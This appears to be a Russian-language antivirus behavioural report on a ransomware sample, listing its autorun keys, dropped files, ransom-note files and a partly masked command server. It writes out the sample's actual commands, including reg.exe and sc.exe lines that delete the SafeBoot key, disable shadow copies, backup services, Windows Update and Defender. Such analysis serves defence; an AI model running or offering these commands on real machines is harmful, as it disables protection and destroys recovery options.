Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = 'C:\04060034341\svchost.exe'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\WinSamSs] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\lsassvrtdbks.exe'
- 'C:\ProgramData\04060034343\svchost.exe' a "C:\ProgramData\04060034342\040600343418.dll.dlls" "C:\ProgramData\04060034342\040600343418.dll" -dh -ep2 -hp2843450164403030 -m0 -y
- 'C:\ProgramData\04060034345\svchost.exe' -p 20 -q "<SYSTEM32>\wblsys32vt86exkdll.dll" /accepteula
- '<SYSTEM32>\scsvserv.exe'
- '<SYSTEM32>\lsassw86s.exe' -i
- '<SYSTEM32>\lsassw86s.exe'
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableQueue" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableArchive" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DontSendAdditionalData" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "LoggingDisabled" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "ForceQueue" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "CrashDumpEnabled" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' delete HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "LogEvent" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ShowUI" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeShutdownErrs" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "C:\04060034341\svchost.exe" /f
- '<SYSTEM32>\reg.exe' delete HKLM\System\CurrentControlSet\Control\SafeBoot /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "ClearPageFileAtShutdown" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "DoReport" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "AllOrNone" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ForceQueueMode" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeMicrosoftApps" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeKernelFaults" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' config winmgmt start= "disabled"
- '<SYSTEM32>\sc.exe' config wuauserv start= "disabled"
- '<SYSTEM32>\sc.exe' config SDRSVC start= "disabled"
- '<SYSTEM32>\sc.exe' stop SDRSVC
- '<SYSTEM32>\sc.exe' config VSS start= "disabled"
- '<SYSTEM32>\sc.exe' stop VSS
- '<SYSTEM32>\sc.exe' stop RemoteRegistry
- '<SYSTEM32>\sc.exe' stop winmgmt
- '<SYSTEM32>\sc.exe' config RemoteRegistry start= "disabled"
- '<SYSTEM32>\sc.exe' stop swprv
- '<SYSTEM32>\sc.exe' config Acronis VSS Provider start= "disabled"
- '<SYSTEM32>\sc.exe' config swprv start= "disabled"
- '<SYSTEM32>\reg.exe' delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\sc.exe' config MsMpSvc start= "disabled"
- '<SYSTEM32>\sc.exe' stop MsMpSvc
- '<SYSTEM32>\sc.exe' stop SCVSSService
- '<SYSTEM32>\sc.exe' stop Acronis VSS Provider
- '<SYSTEM32>\sc.exe' config SCVSSService start= "disabled"
Изменения в файловой системе:
Создает следующие файлы:
- C:\ProgramData\04060034342\040600343410.txt
- C:\ProgramData\04060034344\04060034347.dlls
- %ALLUSERSPROFILE%\Desktop\003451.lnk
- %ALLUSERSPROFILE%\Desktop\040600343411.lnk
- C:\ProgramData\04060034342\040600343411.bat
- C:\ProgramData\04060034343\svchost.exe
- C:\04060034346\howtodecryptaesfiles.htm
- C:\ProgramData\04060034345\svchost.exe
- C:\ProgramData\04060034342\040600343418.dll
- C:\ProgramData\04060034344\04060034348.dlls
- C:\ProgramData\04060034344\S2_04060035154514.dlls
- C:\ProgramData\04060034344\BK2_04060035157823.dlls
- C:\ProgramData\04060034344\BK1_04060035157823.dlls
- C:\ProgramData\04060034344\S1_04060035151209.dlls
- C:\ProgramData\04060034344\DB1_04060035158952.dlls
- C:\04060034346\howtodecryptaesfiles2.htm
- %ALLUSERSPROFILE%\Desktop\NOT_SNT.ntuser.dat.crashlog.txt
- C:\ProgramData\04060034342\040600343414.dll
- C:\RECYCLER\S-1-5-18\INFO2
- C:\RECYCLER\S-1-5-18\desktop.ini
- <SYSTEM32>\kblockdll.dll
- <SYSTEM32>\cfwin32.dll
- <SYSTEM32>\sdelete.dll
- <SYSTEM32>\kblockdll.lib
- <SYSTEM32>\wblsys32vt86exkdll.dll
- <SYSTEM32>\btlogoffusrsmtv.bat
- <SYSTEM32>\decryptaesfiles.htm
- <SYSTEM32>\lsassvrtdbks.exe
- <SYSTEM32>\scsvserv.exe
- <SYSTEM32>\lsassw86s.exe
- C:\bootsvs.ini
- C:\ProgramData\svcfnmainstvestvs\stppthmainfv.dll
- C:\boot.ini
- C:\04060034341\svchost.exe
- C:\ProgramData\fdst751298123\lsass86vl.exe
- <SYSTEM32>\kblockdll.exp
- <SYSTEM32>\backgrounds2.bmp
- <SYSTEM32>\default2.sfx
- <SYSTEM32>\d3d9caps.tmp
- <SYSTEM32>\d3d9caps.dat
Присваивает атрибут 'скрытый' для следующих файлов:
- C:\ProgramData\04060034343\svchost.exe
- C:\ProgramData\04060034345\svchost.exe
- C:\RECYCLER\S-1-5-18\desktop.ini
- C:\ProgramData\svcfnmainstvestvs\stppthmainfv.dll
- C:\ProgramData\fdst751298123\lsass86vl.exe
- C:\04060034341\svchost.exe
Удаляет следующие файлы:
- C:\04060034346\howtodecryptaesfiles.htm
- C:\04060034346\howtodecryptaesfiles2.htm
- C:\RECYCLER\S-1-5-18\desktop.ini
- <SYSTEM32>\d3d9caps.dat
- C:\bootsvs.ini
- %WINDIR%ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.ZZZ
Перемещает следующие файлы:
- %WINDIR%PPPPPPPPPPPPPPPPPPPPPPPPPPPP.PPP в %WINDIR%QQQQQQQQQQQQQQQQQQQQQQQQQQQQ.QQQ
- %WINDIR%QQQQQQQQQQQQQQQQQQQQQQQQQQQQ.QQQ в %WINDIR%RRRRRRRRRRRRRRRRRRRRRRRRRRRR.RRR
- %WINDIR%RRRRRRRRRRRRRRRRRRRRRRRRRRRR.RRR в %WINDIR%SSSSSSSSSSSSSSSSSSSSSSSSSSSS.SSS
- %WINDIR%MMMMMMMMMMMMMMMMMMMMMMMMMMMM.MMM в %WINDIR%NNNNNNNNNNNNNNNNNNNNNNNNNNNN.NNN
- %WINDIR%NNNNNNNNNNNNNNNNNNNNNNNNNNNN.NNN в %WINDIR%OOOOOOOOOOOOOOOOOOOOOOOOOOOO.OOO
- %WINDIR%OOOOOOOOOOOOOOOOOOOOOOOOOOOO.OOO в %WINDIR%PPPPPPPPPPPPPPPPPPPPPPPPPPPP.PPP
- %WINDIR%SSSSSSSSSSSSSSSSSSSSSSSSSSSS.SSS в %WINDIR%TTTTTTTTTTTTTTTTTTTTTTTTTTTT.TTT
- %WINDIR%WWWWWWWWWWWWWWWWWWWWWWWWWWWW.WWW в %WINDIR%XXXXXXXXXXXXXXXXXXXXXXXXXXXX.XXX
- %WINDIR%XXXXXXXXXXXXXXXXXXXXXXXXXXXX.XXX в %WINDIR%YYYYYYYYYYYYYYYYYYYYYYYYYYYY.YYY
- %WINDIR%YYYYYYYYYYYYYYYYYYYYYYYYYYYY.YYY в %WINDIR%ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.ZZZ
- %WINDIR%TTTTTTTTTTTTTTTTTTTTTTTTTTTT.TTT в %WINDIR%UUUUUUUUUUUUUUUUUUUUUUUUUUUU.UUU
- %WINDIR%UUUUUUUUUUUUUUUUUUUUUUUUUUUU.UUU в %WINDIR%VVVVVVVVVVVVVVVVVVVVVVVVVVVV.VVV
- %WINDIR%VVVVVVVVVVVVVVVVVVVVVVVVVVVV.VVV в %WINDIR%WWWWWWWWWWWWWWWWWWWWWWWWWWWW.WWW
- %WINDIR%LLLLLLLLLLLLLLLLLLLLLLLLLLLL.LLL в %WINDIR%MMMMMMMMMMMMMMMMMMMMMMMMMMMM.MMM
- %WINDIR%BBBBBBBBBBBBBBBBBBBBBBBBBBBB.BBB в %WINDIR%CCCCCCCCCCCCCCCCCCCCCCCCCCCC.CCC
- %WINDIR%CCCCCCCCCCCCCCCCCCCCCCCCCCCC.CCC в %WINDIR%DDDDDDDDDDDDDDDDDDDDDDDDDDDD.DDD
- %WINDIR%DDDDDDDDDDDDDDDDDDDDDDDDDDDD.DDD в %WINDIR%EEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE
- <SYSTEM32>\d3d9caps.tmp в <SYSTEM32>\d3d9caps.dat
- <SYSTEM32>\wblsys32vt86exkdll.dll в %WINDIR%AAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAA
- %WINDIR%AAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAA в %WINDIR%BBBBBBBBBBBBBBBBBBBBBBBBBBBB.BBB
- %WINDIR%EEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE в %WINDIR%FFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF
- %WINDIR%IIIIIIIIIIIIIIIIIIIIIIIIIIII.III в %WINDIR%JJJJJJJJJJJJJJJJJJJJJJJJJJJJ.JJJ
- %WINDIR%JJJJJJJJJJJJJJJJJJJJJJJJJJJJ.JJJ в %WINDIR%KKKKKKKKKKKKKKKKKKKKKKKKKKKK.KKK
- %WINDIR%KKKKKKKKKKKKKKKKKKKKKKKKKKKK.KKK в %WINDIR%LLLLLLLLLLLLLLLLLLLLLLLLLLLL.LLL
- %WINDIR%FFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF в %WINDIR%GGGGGGGGGGGGGGGGGGGGGGGGGGGG.GGG
- %WINDIR%GGGGGGGGGGGGGGGGGGGGGGGGGGGG.GGG в %WINDIR%HHHHHHHHHHHHHHHHHHHHHHHHHHHH.HHH
- %WINDIR%HHHHHHHHHHHHHHHHHHHHHHHHHHHH.HHH в %WINDIR%IIIIIIIIIIIIIIIIIIIIIIIIIIII.III
Сетевая активность:
Подключается к:
- '17#.#02.38.67':8080
Другое:
Ищет следующие окна:
- ClassName: 'SysListView32' WindowName: '(null)'
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
